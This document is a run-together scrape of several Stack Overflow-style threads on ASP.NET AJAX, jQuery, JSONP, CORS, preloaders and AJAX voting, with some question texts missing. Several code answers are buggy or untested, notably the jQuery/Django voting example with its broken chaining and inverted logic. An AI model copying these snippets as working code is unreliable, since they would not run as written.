When you call ScriptManager.RegisterStartupScript, the "Control" parameter must be a control that is within an UpdatePanel that will be updated. You need to change it to:
ScriptManager.RegisterStartupScript(this, this.GetType(), Guid.NewGuid().ToString(), script, true);
I think you should indeed be using the Control overload of the RegisterStartupScript.
I've tried the following code in a server control:
[ToolboxData("<{0}:AlertControl runat=server></{0}:AlertControl>")]
public class AlertControl : Control{
protected override void OnInit(EventArgs e){
base.OnInit(e);
string script = "alert(\"Hello!\");";
ScriptManager.RegisterStartupScript(this, GetType(),
"ServerControlScript", script, true);
}
}
Then in my page I have:
protected override void OnInit(EventArgs e){
base.OnInit(e);
Placeholder1.Controls.Add(new AlertControl());
}
Where Placeholder1 is a placeholder in an update panel. The placeholder has a couple of other controls on in it, including buttons.
This behaved exactly as you would expect, I got an alert saying "Hello" every time I loaded the page or caused the update panel to update.
The other thing you could look at is to hook into some of the page lifecycle events that are fired during an update panel request:
Sys.WebForms.PageRequestManager.getInstance()
.add_endRequest(EndRequestHandler);
The PageRequestManager endRequestHandler event fires every time an update panel completes its update - this would allow you to call a method to set up your control.
My only other questions are:
using the below mentioned code in ascx.cs page helped me too :)
ScriptManager.RegisterStartupScript(this.Page, this.Page.GetType(), "focuser", "script", true);
Thanks Guys and gurlzz
I have a UserControl within a UserControl. Trying to reference a control that will get updated in an UpdatePanel did not work for me.
Referencing the Page within the ScriptManager.RegisterStartupScript worked immediately! :D
I would vote you dc2009, but I don't have enough reputation yet here on StackOverflow...
Well, to answer the query above - it does appear as if the placeholder somehow messes up the ScriptManager.RegisterStartupScript.
When I pull the control out of the placeholder and code it directly onto the page the Register script works correctly (I am also using the control itself as a parameter).
Can anyone throw any light on why an injected control onto a PlaceHolder would prevent the ScriptManager from correctly registering the script? I am guessing this might have something to do with the lifecycle of dynamic controls, but would appreciate (for my own knowledge) if there is a correct process for the above.
The solution is to put the scripts in an outside js file (lets called 'yourDynamic.js') and re-register de file everytime you refresh the updatepanel.
I use this in the updatepanel_prerender event:
ScriptManager.RegisterClientScriptBlock(UpdatePanel1, UpdatePanel1.GetType(), "UpdatePanel1_PreRender", _
"<script type='text/javascript' id='UpdatePanel1_PreRender'>" & _
"include('yourDynamic.js');" & _
"removeDuplicatedScript('UpdatePanel1_PreRender');</script>" _
, False)
In the page or in some other include you will need this javascript:
// Include a javascript file inside another one.
function include(filename)
{
var head = document.getElementsByTagName('head')[0];
var scripts = document.getElementsByTagName('script');
for(var x=0;x<scripts.length;> {
if (scripts[x].getAttribute('src'))
{
if(scripts[x].getAttribute('src').indexOf(filename) != -1)
{
head.removeChild(scripts[x]);
break;
}
}
}
script = document.createElement('script');
script.src = filename;
script.type = 'text/javascript';
head.appendChild(script)
}
// Removes duplicated scripts.
function removeDuplicatedScript(id)
{
var count = 0;
var head = document.getElementsByTagName('head')[0];
var scripts = document.getElementsByTagName('script');
var firstScript;
for(var x=0;x<scripts.length;> {
if (scripts[x].getAttribute('id'))
{
if(scripts[x].getAttribute('id').indexOf(id) != -1)
{
if (count == 0)
{
firstScript = scripts[x];
count++;
}
else
{
head.removeChild(firstScript);
firstScript = scripts[x];
count = 1;
}
}
}
}
clearAjaxNetJunk();
}
// Evoids the update panel auto generated scripts to grow to inifity. X-(
function clearAjaxNetJunk()
{
var knowJunk = 'Sys.Application.add_init(function() {';
var count = 0;
var head = document.getElementsByTagName('head')[0];
var scripts = document.getElementsByTagName('script');
var firstScript;
for(var x=0;x<scripts.length;> {
if (scripts[x].textContent)
{
if(scripts[x].textContent.indexOf(knowJunk) != -1)
{
if (count == 0)
{
firstScript = scripts[x];
count++;
}
else
{
head.removeChild(firstScript);
firstScript = scripts[x];
count = 1;
}
}
}
}
}
Pretty cool, ah...jejeje This part of what i posted some time ago here.
Hope this help... :)
I had an issue with Page.ClientScript.RegisterStartUpScript - I wasn't using an update panel, but the control was cached. This meant that I had to insert the script into a Literal (or could use a PlaceHolder) so when rendered from the cache the script is included.
A similar solution might work for you.
I try many things and finally found that the last parameter must be false and you must add < SCRIPT > tag to the java script :
string script = "< SCRIPT >alert('hello!');< /SCRIPT>";
ScriptManager.RegisterClientScriptBlock(Page, Page.GetType(), key, script, false);
What worked for me, is registering it on the Page while specifying the type as that of the UpdatePanel, like so:
ScriptManager.RegisterClientScriptBlock(this.Page, typeof(UpdatePanel) Guid.NewGuid().ToString(), myScript, true);
Sometimes it doesnt fire when the script has some syntax error, make sure the script and javascript syntax is correct.
If interested good topic with common error we (developers) make, the last param should be set to false . Bellow is a good explanation http://www.dotnetcurry.com/ShowArticle.aspx?ID=200&AspxAutoDetectCookieSupport=1
DO NOT Use GUID For Key
ScriptManager.RegisterClientScriptBlock(this.Page, typeof(UpdatePanel)
Guid.NewGuid().ToString(), myScript, true);
and if you want to do that , call Something Like this funtion
public static string GetGuidClear(string x)
{
return x.Replace("-", "").Replace("0", "").Replace("1", "").Replace("2", "").Replace("3", "").Replace("4", "")
.Replace("5", "").Replace("6", "").Replace("7", "").Replace("8", "").Replace("9", "");
}
Duplicate: Which Javascript framework (jQuery vs Dojo vs ? )?
I am totally new to javascript, but i want to implement ajax features into my website. Which JS framework should i learn? Please recommend or which one you are using and why you use it?
JQuery is currently extremely popular, so you're probably going to have the most luck finding recent tutorials/plugins/etc for it, as opposed to one of the other frameworks. That's probably a fairly good selling-point from the perspective of someone new to this.
Microsoft apparently blessed JQuery, so for now that's your best bet.
Jquery is probably the best of the lot, it actually lets you "do more, write less"
One more for Jquery..Awesome plugins!!
I use JQuery now because it is easy and has lots of features. Before I was using prototype and scriptaculous.
I'm currently writing a paper on JavaScript frameworks. After all the research I've done so far, I can tell you this...
Seriously, nobody can tell you which framework is best for you. There's only one way to find out: try playing around with all the different libraries you're considering. It's a matter of personal preference.
See this excellent JavaScript Library Overview, a presentation by John Resig (who happens to be the lead developer of jQuery). It contains small code samples for all the listed frameworks. After viewing those, you'll probably know which framework to choose, depending on which coding style you prefer.
Also, this SO topic might be of interest.
Built in intellisense for jQuery in VS2008 (sp1 I think?) was one consideration for us, but essentially we've played with mootools, prototype, scriptaculous and jquery, and have found jquery to be the easiest for us all to understand/support.
We have a mixed team here, and even our business logic guys can pickup the logic/approach in jquery.
We also use telerik controls, and they've now announced more support for jquery - it certainly seems its star is in the ascension.
Try all of them, but if you're from a .net background, I think it's the logical choice at the moment.
I noticed Dojo wasn't included on your list. It's a framework that's geared to heavy-weight AJAXified pages.
That said, JQuery appears to have the most momentum at the moment, and other frameworks (like Dojo) are working on putting more JQuery-like functionality into their product, so I would recommend learning that.
Im having a really good time with jQuery myself. Thers lots of good documentation and tutorials for it, which is excellent if your new to Javascript.
If its only the ajax features your after I recommend checking out http://docs.jquery.com/Ajax . Also the tutorials at Themeforest is really brilliant. For example the jquery tutorial for absolute beginners day 10 is showing you the basics of jQuery + Ajax.
FORK Ajax. It does the job well, and it's very small (5KB minified) and simple.
I'll plug Mootools. Of course the reason anyone prefers any of these over another is "I started using XYZ first."
jQuery is my go-to framework of choice, but you really have to look at each ones' strengths and see how they align with your project
The important thing is, use a framework -- really any framework. The benefits of using a framework, no matter which one, are so enormous. The best ones get rid of all or most of the cross-browser headaches you are bound to experience.
When I was new to JavaScript, after a week I found out that life is much easier with a framework. Anyway, I did not even knew, what exactly they are for; I've got some glue about $() that it's a smart replacement for window.getElementById(), and I assumed that there are some other comfortable methods for other purposes, like AJAX request.
I did not wanted to spend lot of time on learning a framework, so I was decided that I will choose that which I fall in love first sight. Then I was spending about a whole month with googling. I have not missed any of the "big names", but I dropped them soon. The main reason of the dissatisfaction was their site, the documentation: after reading a whole page of text, I was yet as dumb as before. What is it for? What they do? What is the input, what is the aim, what is the output?
Then, I found DOMAssistant. It's small, perfect, and well-documented. Just take a look on the first paragraph of the opening page, it's a totally clear definition of the JS framework:
What is DOMAssistant?
The idea of DOMAssistant is to provide a simpler and more consistent way to script against the Document Object Model (DOM) in web browsers. The idea is that everything starts with the element(s) in question, selected through id or CSS selectors, and then perform various methods on it, such as adding or removing classes, events etc.
So, I say, if you finally choose another, more fashionable framework, DOMAssistant is a must-to-see. And if you have no need for animated flying windows, it's also a good choice.
The best thing to consider is what you want the framework for. jQuery was designed to make manipulating the DOM easier. So if that is the main focus of what you want to be doing, then great. It is a super rad framework and it is really is amazingly natural and easy to pick up.
That having been said, it is worth considering what the others have to offer. Other frameworks like prototype and mootools are most interested in turning javascript into a more powerful programming language with richer object oriented programming capabilities and functionality for arrays, strings and numbers. I don't know enough to be able to compare/contrast prototype and mootools, but maybe someone else could fill in on that.
This is a great article that explains the difference between mootools and jquery - jqueryvsmootools.com/
The good news is that you don't necessarily have to decide. Although you might occasionally come up with bugs, you should be able to use jQuery with either mootools or prototype (see here). Basically just call jQuery.noConflict(); before any script on which you want to use jQuery and everything should work just fine. This allows you to use jQuery for all of it's slick DOM manipulation and rad UI library while also giving access to a more powerful framework when that is what you need.
Please let me know if I've missed anything here and I hope this helps.
I have a update panel, in the update panel I have fileupload control and button control, On button click, I need the file that I have upload in the fileupload control in updatepanel.
Exact scenario, I have 8 tabs on page, each tab contains too much information, One of the tab is Attachment, when user click on Add New Attachment Modal Popup shown, Modal contains detailsview in Updatepanel and in the detailsview I have fileupload control, when user hit save button, detailsview inserting event fired, In the inserting event I need the file that I have upload.
Please Note, My page is heavy and I don't want full postBack.
Does anyone have solution of this issue?
Advance thanks for your kind help.....
For solve this problem, Please see the following step.
Upload file to temporary location.
When you click on the save button, the system will move the files to their real location
Note. System will automatically delete the expired file from the temporary location.
Resource
Update
After almost one year, I just found a great componet for this question. This is an open source plug-in of jQuery. It is Plupload that allows you to upload files using HTML5 Gears, Silverlight, Flash, BrowserPlus or normal forms, providing some unique features such as upload progress, image resizing and chunked uploads.
Can't be done without co-operating binaries being installed on the client. There is no safe mechanism for an AJAX framework to read the contents of a file and therefore be able to send it to the server. The browser supports that only as a multipart form post from a file input box.
The problem is with the way the HTML file upload control works, has nothing to do with ASP.net, for the file upload control to work you need a full post of the form data. You can only simulate that your are not doing a full postback, by doing all the operation in a hidden iframe that does the actual uploading
The sites you see that do provide this functionality generally use flash or an iframe so that the postback occurs in the iframe and gives the illusion of an ajax request.
HTH
OneSHOT
I've tried swfupload (http://swfupload.org/), but do keep in mind that you have to jump through hoops if you're using forms authentication with non-IE browsers. This is apparently a flash bug, and it's not fixed in flash 10. I decided against using it in our framework because of this bug, but it was otherwise a great product.
I recommend the uploader widget from YUI. See http://developer.yahoo.com/yui/uploader/
I think you could use it to accomplish your goal. Your javascript would need to fetch the file back down to the client from the server after it completed its upload. But the page would not refresh--the upload is through flash and a hidden iframe. The download to show the file's contents to the user would be via ajax.
If the user does not "approve" the upload, then simply make another ajax call to the server to delete the file.
I am having a problem with jQuery AJAX calls on IE7. This simple code works fine on FF and Opera. But on IE7 it takes 3-5sec. - that's 20 times slower than FF! Loading content is pure HTML and inline JavaScript code. No JS rendering. I even turned of the inline JavaScript code. Bu still slow.
$('#block').load('some url');
How to overcome this problem ? Any help would be greatly appreciated.
How to overcome this problem ? Any help would be highly appreciated.
Detect IE7 on page load, and provide a discrete suggestion that users who don't like slow loading should upgrade.
I had the same problem with the slow jscript ie7 engine. I added a status popup window for the human. I update the status window as the JS proceeds in chunks. Pseudo code:
Bottom line is that the user will see something changing on the screen. Note that the step of yielding with a timeout of 0 takes quite a while, relatively speaking. So my code tests the browser and does more work per chunk if it's anything other than IE.
It is very important to provide changing feedback to the user. Otherwise they think it is taking longer than it really is.
HTH,
Larry
There's really not much you can do. IE's javascript engine is way way slower than any of the others (in fact, it sucks). You can try out IE8. It is better... marginally...
I'd have to see the actual code but faced to a similar problem I had to get rid of jQuery.load(). Instead, I used jQuery.get() with "html" data type and wrote my own callback, where I injected the data via .innerHTML. Doing so, I also hit another bug (it was a <select> tag and IE won't allow .innerHTML on it) so I wrote an ugly workaround.
Resulting code was something like this:
// Fetch data (GET method allows me to use browser cache)
$.get(url, get, function(htmlValues, txtStatus){
that.populateSelects(htmlValues, that.selectContainers);
}, "html");
// Create <select>
var select = $('<span><select disabled="disabled"></select></span>');
$("<option>").attr("value", "").text("Loading...").appendTo(select.find("select"));
// Populate <select>
that.populateSelects = function(values, selectContainers){
var span, select, tags;
for(var i=0, len=selectContainers.length; i<len; i++){
span = selectContainers[i];
if($.browser.msie){
tags = span.innerHTML.match(/^(<select[^>]+>).*(<\/select>)$/i);
span.innerHTML = tags[1] + values + tags[2];
select = span.firstChild;
}else{
select = span.firstChild;
select.innerHTML = values;
}
$(select).removeAttr("disabled");
}
}
Is there an equivalent to Internet Explorer's XDomainRequest in Firefox or any of the other browsers?
I'd like to access a service/website outside of my domain.
The XDomainRequest object in Internet Explorer 8 is a proprietary method for requesting resources which are outside the "same-origin policy."
Firefox 3.5+ and Safari 4+ allow cross-domain requests through the XMLHTTPRequest object. User agents that support XMLHTTPRequest Level 2 must have Cross-Origin Resource Sharing support (CORS), which allows retrieving the resource IF the resource announces that it can be requested from other domains.
Keep in mind that the resource must declare itself as a cross-origin resource before a compliant user agent will retrieve the resource.
More info here: http://www.w3.org/TR/cors/ and at /TR/XMLHttpRequest2 on the W3C website.
I've found this article very informative on this topic
It's possible, you just have to set Cross-Domain headers at the target server.
.htaccess example:
Header set Access-Control-Allow-Origin "*"
Header set Access-Control-Allow-Headers "X-Requested-With"
Header set Access-Control-Max-Age "60"
XmlHttpRequest will submit an OPTIONS request to the target server which will respond with those headers, allowing the client to submit the intended request.
Source: http://www.oriontransfer.co.nz/blog/2011-05/cross-domain-ajax/index
Which one is better to use in ASP.NET MVC?
Personally I prefer jQuery for the following reasons:-
In terms of what MS AJAX offers you in MVC, it can do a lot for you in terms of giving you a quick way to "AJAXify" forms and links, but as far as I'm concerned adding 90kb worth of javascript to do that isn't really worth it when the equivalent calls in jQuery (e.g $.get, $.post, $(element).load) are relatively easy to use.
Personally, despite the HtmlHelper support for ASP.NET Ajax, I find jQuery ajax in conjunction with the JQuery forms plugin to be the nicest way to do ajax form posts in ASP.NET MVC.
e.g. with a jquery call on an html product list page with a form for each product allowing the item to be added to a basket, a single line of jquery code can 'ajaxify' all the forms on the page
$(".productListItem form").ajaxForm({ target: '#extraInfoSection' });
combined with a simple 'IsAjaxRequest' property on a controller base class that checks the headers:
Request.Headers["X-Requested-With"] == "XMLHttpRequest"
and some logic in the Controller to return the correct response type:
return IsAjaxRequest ? (ActionResult) View("BasketPartial", basket) : new RedirectBackToReferrerActionResult();
you have a form that works even with javascript turned off and no ASP.NET Ajax involved.
Instead of making a recommendation I suggest you read Dave Ward's blog Encosia that has a series of posts on MS Ajax/ Update Panel vs. jQuery post mechanism. Dave maintains that the performance of jQuery is vastly superior as it cuts out approximately 100K from the transmission to and from the server.
JQuery is purely client side library. Asp.Net Ajax includes both client side and server side functionalities. IMHO, comparison ain't really fair. They might complement each other going by Microsoft's plans.
There is a variant of ASP.NET AJAX for MVC -- used with the AjaxHelper and extensions. This works well in concert with jQuery. I have instances where I use both on the same page; using MVC AJAX to update a DIV based clicking a button and using jQuery to get JSON data for a different operation on the same page. Standard ASP.NET AJAX (UpdatePanels, etc.) should be used in the WebForms world, not in MVC.
I would like to mention that Microsoft supports JQuery, and they will make support for it in upcoming versions of Visual Studio. For more information please visit http://live.visitmix.com/. ASP.NET AJAX and jQuery does not overlap much, so you would like to use both.
First of all, it could be useful to take in mind that ASP.NET MVC doesn't support, or better, doesn't has the postback concept..
It's still possible to use asp.net server controls in asp.net mvc, asp.net ajax it's one of them, but asp.net mvc it's made, it was thought, to separate concerns (views) and to be REST styled as close as possible, so taking this in mind the final thought would be:
Sorry for my english
Use ASP.NET AJAX with Web Forms and jQuery with ASP.NET MVC
Another alternative you probably could look at is Ajax.NET, http://www.ajaxpro.info/. I reckon it's better than ASP.NET AJAX for WebForms. It's runnable under MVC as well.
First of all, you could use either, as long as when you are talking about Microsoft Ajax, you are only referring to the client library. You can use the MS Ajax client library and most of the toolkit extenders without any server side controls. I have built a pretty big application using web forms and Microsoft Ajax then converted it to MVC/jquery. I found that I was using less and less of the features in the MS Ajax library. There is so much available with plugins, that its making even the ajax toolkit obsolete.
If you are talking about MS Ajax using update panels etc, then I would say no, you can't use them in MVC. In fact, don't use them at all! update panels are simulated ajax, the page still goes through its lifecylce almost defeating the purpose of using ajax.
I am trying to use the getJSON function in jQuery to import some data and trigger a callback function. The callback function doesn't run. However, if I try the same thing with the get function, it works fine. Strangely, it works with the get function even when I pass "json" as the type. Why is this happening? I tested the following file in Firefox 3 and IE 7:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head>
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
<title>ajax test</title>
<script type="text/javascript" src="/jquery-1.3.2.min.js"></script>
</head>
<body>
<input type="button" id="test1" value="get">
<input type="button" id="test2" value="getJSON">
<input type="button" id="test3" value="get with json type">
<script type="text/javascript">
$("#test1").click(function() {
$.get("index.html",
function(response) {
alert('hi');
//works
}
)
});
$("#test2").click(function() {
$.getJSON("index.html",
function(response) {
alert('hi');
//doesn't work
}
)
});
$("#test3").click(function() {
$.get("index.html",
function(response) {
alert('hi');
//works
},
"json"
)
});
</script>
</body></html>
This seems to happen no matter what URL I access, as long as it's on the same domain. I tried passing some data and that doesn't make a difference.
Of course I can work around the problem by using the get function like I did in my 3rd test function, but I am still curious as to why this is happening.
I know there is a similar question asked here but it didn't answer my question.
The json needs to be valid, otherwise the callback will not fire.
$.getJSON() is JSONP, so change it this way:
$("#test2").click(function() {
$.getJSON("index.html?callback=?",
function(response) {
alert('hi');
}
)
});
Server receives param callback filled with something like: jsonp1291077863309. In a response write back callback function jsonp1291077863309( PUT_JSON_HERE).
Right! After 2 days getting crazy trying to make $.getJSON to accept a well-formed JSon string from the server, the problem was really on the server! Just like Carl_Platt says, you have to prepend the callback value received as a url parameter to the json output ($_GET['callback'] in PHP). That's called "JSON-P output", just in case you want to google about it.
Hands on, here a page where they show the solution in PHP:
http://1080d.com/lang/en-us/2009/10/converting-php-to-jsonp-with-json_encode/
And remember (really important) to add to the url you call the "callback=?" parameter! (Only needed if the url you are calling is not in the same server serving the executing jquery script)...
JQuery will automatically replace '?' with a convenient value before sending it to the server. You don't need to worry about which value is used, it will all be seamless for you (if the server makes the right job! And that was the problem in my case!) :-)
Hope it helps!
Under the surface, when you call getJSON, this is what's happening:
// ~ line 3216
getJSON: function( url, data, callback ) {
return jQuery.get(url, data, callback, "json");
}, // ... rest of jQuery core
So there must be some other thing preventing the callback from firing...
I would start by alerting different things (not just 'hi') on each callback, that way you know which one is failing/succeeding.
As mentioned by numerous others, you need valid JSON (i.e. complies with the rules at http://json.org/) for getJSON to work (this means you cannot get HTML via getJSON as in your example).
The reason the last test works is because the last parameter "json" is not being interpreted as the "type". Because the following does NOT work:
$("#test3").click(function() {
$.get("index.html",
'',
function(response) {
alert('hi');
//works
},
"json"
)
});
I had the same issue despite having well formed JSON etc. I was able to query my webservice, and get a response, however, my callback function wasn't firing. After scrounging the net, i most interwebers suggested using 'jsonp', which i did since my app performs some cross domain calls, and also added 'callback?' to my url. This didn't work but that including the callback with the returned JSON solved my problem. The code below explains what i mean:
//server side json formed somewhere up here
String data = callback + "("+ json +")" ;
the response resulting from this is something like "jsonp1280403476086([{"Name":"Jack Sparrow" which jQuery seemed to not have a problem and so never died on me.
Hope this helps.
Use $.post instead of $.getJSON(), in MVC2 if you are using $.getJSON or $.get be sure to set JsonRequestBehavior to AllowGet. Else this will return HTML error that causes your requst not to trigger the callback.
I'm in the process of making a demo ASP.NET MVC app for educational purposes.
I have an image/link that flags a post as offensive. I would like to request from the server via AJAX to flag offensive and check to make sure that the user has this ability.
If the user does, then I want to flag the post as offensive in the database and return that the flag went through. If the user ends up NOT having the right to flag items then I would like to return a negative message to the client so I can popup a nice jQuery box stating that it didn't go through.
I'm trying to do this all without a full postback/refresh.
Does anyone have any links to examples of simple AJAX requests being made with MVC?
It is actually pretty easy with jQuery. Let's say your link is something like this:
<a href="javascript:flagInappropriate(<%=Model.PostId%>);">Flag as inappropriate</a>
Create a javascript to call the action in your controller to check and flag as necessary:
function flagInappropriate(postId) {
var url = "<CONTROLLER>/<ACTION>/" + postId;
$.post(url, function(data) {
if (data) {
// callback to show image/flag
} else {
// callback to show error/permission
}
});
}
In you action method in your controller will probably look like this:
[AcceptVerbs("POST")]
public bool FlagAsInappropriate(int id) {
// check permission
bool allow = CheckPermission();
// if allow then flag post
if (allow) {
// flag post
return true;
} else {
return false;
}
}
I don't know about simple, but there's a full MVC application that uses MVC, including jQuery and AJAX, posted at http://www.codeplex.com/nerddinner and a working version of the application at http://www.nerddinner.com.
You can also found a tutorial here, it's part of 7 iterations on the http://asp.net/learn/mvc site
find it here: http://www.asp.net/learn/mvc/tutorial-32-vb.aspx
I have a server side function that requires login. If the user is logged in the function will return 1 on success. If not, the function will return the login-page.
I want to call the function using Ajax and jQuery. What I do is submit the request with an ordinary link, with a click-function applied on it. If the user is not logged in or the function fails, I want the Ajax-call to return true, so that the href triggers.
However, when I use the following code, the function exits before the Ajax call is done.
How can I redirect the user gracefully to the loginpage?
$(".my_link").click(
function(){
$.ajax({
url: $(this).attr('href'),
type: 'GET',
cache: false,
timeout: 30000,
error: function(){
return true;
},
success: function(msg){
if (parseFloat(msg)){
return false;
} else {
return true;
}
}
});
});
If you don't want the $.ajax() function to return immediately, set the async option to false:
$(".my_link").click(
function(){
$.ajax({
url: $(this).attr('href'),
type: 'GET',
async: false,
cache: false,
timeout: 30000,
error: function(){
return true;
},
success: function(msg){
if (parseFloat(msg)){
return false;
} else {
return true;
}
}
});
});
But, I would note that this would be counter to the point of ajax also, and you should be handling the response in the error and success functions. Those functions will only be called when the response is received from the server.
The underlying XMLHttpRequest object (used by jQuery to make the request) supports the asynchronous property. Set it to false. Like
async: false
I think things would be easier if your simply code you success function to load the appropriate page instead of returning true or false i.e instead of returning true, while not just say, window.location="appropriate page",that way when the success function is eventually called, the page gets redirected.
From jQuery documentation
"$.ajax() returns the XMLHttpRequest that it creates. In most cases you won't need that object to manipulate directly, but it is available if you need to abort the request manually."
So you have to use it like that
var xhr = $.ajax({....});
then look at XMLHttpRequest documentation ( https://developer.mozilla.org/en/XmlHttpRequest ) . It has readyState attribute. Try to set up interval (setInterval) to check this value, and when it will be 4, check responseText attribute for response.
Do it
$(".my_link").click(
function(){
var xhr = $.ajax({
// not here
});
// here...
};
);
Try to find something like that for IE.
On the jQuery AJAX success callback I want to loop over the results of the object. This is an example of how the response looks in Firebug.
[
{"TEST1":45,"TEST2":23,"TEST3":"DATA1"},
{"TEST1":46,"TEST2":24,"TEST3":"DATA2"},
{"TEST1":47,"TEST2":25,"TEST3":"DATA3"}
]
How can I loop over the results so that I would have access to each of the elements? I have tried something like below but this does not seem to be working.
jQuery.each(data, function(index, itemData) {
// itemData.TEST1
// itemData.TEST2
// itemData.TEST3
});
You were close:
$.each(data, function() {
$.each(this, function(k, v) {
/// do stuff
});
});
You have an array of objects/maps so the outer loop loops through those. The inner loop loops through the properties on each object element.
if you use FF, just open up a console and try out this:
var a = [
{"TEST1":45,"TEST2":23,"TEST3":"DATA1"},
{"TEST1":46,"TEST2":24,"TEST3":"DATA2"},
{"TEST1":47,"TEST2":25,"TEST3":"DATA3"}
];
$.each (a, function (bb) {
console.log (bb);
console.log (a[bb]);
console.log (a[bb].TEST1);
});
hope it helps
Here's one way to do it:
$.getJSON('/your/script.php', function(data) {
$.each(data, function(index) {
alert(data[index].TEST1);
alert(data[index].TEST2);
});
});
This is really just a rewording of ifesdjeen's answer, but I thought it might be helpful to people.
Access the json array like you would any other array.
for(var i =0;i<itemData.length-1;i++)
{
var item = itemData[i];
alert(item.Test1 + item.Test2 + item.Test3);
}
All HTTP responses require the client to initiate them, even those made using AJAX. But GMail's chat feature is able to receive messages from other users, even when I'm just sitting in my comfy computer chair watching but not interacting with the browser. How did they do it?
That tech is known as "comet", but also as "server push", "reverse ajax", etc.
It's about pushing data from the server to the browser, keeping an http connection alive. Find more info on it on the wikipedia article (English version).
Also here's a pretty good presentation with Joe Walker from DWR, where he talks about comet.
As you rightfully pointed out, HTTP requires data to be 'pulled' by the client. Gmail can still 'pull' data from the server by using a timer to trigger the HTTP operation instead of requiring the user to click something. So, it may seem to be auto, but it is still client initiated.
Yep Comets is correct. Google Web Toolkit Applications by Ryan Dewsbury explains how to create a Comets based Instant Messenger application in chapter 9.
Is it possible to preload all page contents (like showing a loading bar / animated gif.. or loading text.. ) until the contents are fully loaded and then displayed to the user/visitor ? If this is possible, can you give me just directions or resources to follow to achieve this. Because I was able to find image preloaders easily, but I am seeking for a preloading technique that will preload all content on the page before being displayed.
There's no need to use Ajax or something, simply set the page's wrapper div display to none. then change it to block when the document is loaded. the code might be like this, using raw Javascript:
...
<script type="text/javascript">
function preloader(){
document.getElementById("preloader").style.display = "none";
document.getElementById("container").style.display = "block";
}//preloader
window.onload = preloader;
</script>
<style>
...
div#wrapper {
...
display: none;
}
div#preloader {
top: 0; right: 10px;
position:absolute;
z-index:1000;
width: 132px; height: 38px;
background: url(path/to/preloaderBg.png) no-repeat;
cursor: wait;
text-shadow: 0px 1px 0px #fefefe; //webkit
}
...
</style>
...
<body>
<div id="preloader">Loading... Please Wait.</div>
<div id="wrapper">
<!-- page contents goes here -->
</div>
</body>
...
feel free to comment, if you need this in jQuery.
update, in jQuery:
...
<script type="text/javascript">
//use $(window).load(fn) if you need to load "all" page content including images, frames, etc.
$(document).ready(function(){
$("#preloader").hide();
$("#container").show();
});
</script>
...
Related documents: Events/ready, Events/load, CSS/css & Core/$
If you choose a method where the content is hidden until the whole page is loaded, don't have it initially hidden in CSS then unhidden in JavaScript. If you do that, anyone with JavaScript disabled or unavailable will get no page at all. Instead, do both the hiding and the showing from script.
<body>
<script type="text/javascript">
document.body.style.visibility= 'hidden';
window.onload= function() { document.body.style.visibility= 'visible'; };
</script>
Also note that the term ?preloader? isn't really right for what you're doing here. ?pre? implies that you're increasing performance by having the page fetched and cached so that it's ready to go by the time it's needed.
But actually this is the opposite: it decreases performance by waiting around showing the user nothing whilst the page is loading, when partial content is available. Defeating progressive rendering makes browsing slower, not faster. It is usually distinctly the Wrong Thing, and except in a few niche cases going with the normal browser progressive rendering is best. This is how the web works; people are used to it by now.
(People, that is, except for the kind of dim-witted management types who don't really use or understand the web but demand that their company's site appears all at once.)
I did something where I needed to know when an image was fully loaded, so I did the preloading with $.get() function and passed a callback function as the last parameter. This way, when the image was actually downloaded, my callback would fire and I would know that the browser already had the image in cache.
You can write a function that will increment a global variable for each image you tell it to preload, and then your callback can decrement the counter. When the counter is back to zero, call another function. This function now will fire once all images are preloaded.
This is for the images. Everything else can be guaranteed to be loaded when $(document).ready() is fired. So, if you begin your routine at this point, everything on the page should be loaded.
Best way
You can do it with jquery easily.
SCRIPT
$(window).load(function() {
$('#preloader').fadeOut('slow', function() { $(this).remove(); });
});
STYLES
div#preloader {
position: fixed;
z-index: 999;
width: 100%;
height: 100%;
background: #c6d6c2 url(ajax-loader.gif) no-repeat center center;
}
HTML
div id="preloader"
Problems
I am not sure whether I should use database or not for the variable. However, I know that there is an easier way too to save the number of votes.
How can you solve those problems?
[edit]
The server-side programming language is Python.
This is a dirty/untested theoretical implementation using jQuery/Django.
We're going to assume the voting up and down is for questions/answers like on this site, but that can obviously be adjusted to your real life use case.
<div id="answer_595" class="answer">
<img src="vote_up.png" class="vote up">
<div class="score">0</div>
<img src="vote_down.png" class="vote down">
Blah blah blah this is my answer.
</div>
<div id="answer_596" class="answer">
<img src="vote_up.png" class="vote up">
<div class="score">0</div>
<img src="vote_down.png" class="vote down">
Blah blah blah this is my other answer.
</div>
$(function() {
$('div.answer img.vote').click(function() {
var id = $(this).parents('div.answer').attr('id').split('_')[1];
var vote_type = $(this).hasClass('up') ? 'up' : 'down';
if($(this).hasClass('selected')) {
$.post('/vote/', {id: id, type: vote_type}, function(json) {
if(json.success == 'success') {
$('#answer_' + id)
.find('img.' + vote_type);
.attr('src', 'vote_' + vote_type + '_selected.png')
.addClass('selected');
$('div.score', '#answer_' + id).html(json.score);
}
});
} else {
$.post('/remove_vote/', {id: id, type: vote_type}, function(json) {
if(json.success == 'success') {
$('#answer_' + id)
.find('img.' + vote_type);
.attr('src', 'vote_' + vote_type + '.png')
.removeClass('selected');
$('div.score', '#answer_' + id).html(json.score);
}
});
}
});
});
def vote(request):
if request.method == 'POST':
try:
answer = Answer.objects.get(pk=request.POST['id'])
except Answer.DoesNotExist:
return HttpResponse("{'success': 'false'}")
try:
vote = Vote.objects.get(answer=answer, user=request.user)
except Vote.DoesNotExist:
pass
else:
return HttpResponse("{'success': 'false'}")
if request.POST['type'] == 'up':
answer.score = answer.score + 1
else:
answer.score = answer.score - 1
answer.save()
Vote.objects.create(answer=answer,
user=request.user,
type=request.POST['type'])
return HttpResponse("{'success':'true', 'score':" + answer.score + "}")
else:
raise Http404('What are you doing here?')
def remove_vote(request):
if request.method == 'POST':
try:
answer = Answer.objects.get(pk=request.POST['id'])
except Answer.DoesNotExist:
return HttpResponse("{'success': 'false'}")
try:
vote = Vote.objects.get(answer=answer, user=request.user)
except Vote.DoesNotExist:
return HttpResponse("{'success': 'false'}")
else:
vote.delete()
if request.POST['type'] == 'up':
answer.score = answer.score - 1
else:
answer.score = answer.score + 1
answer.save()
return HttpResponse("{'success':'true', 'score':" + answer.score + "}")
else:
raise Http404('What are you doing here?')
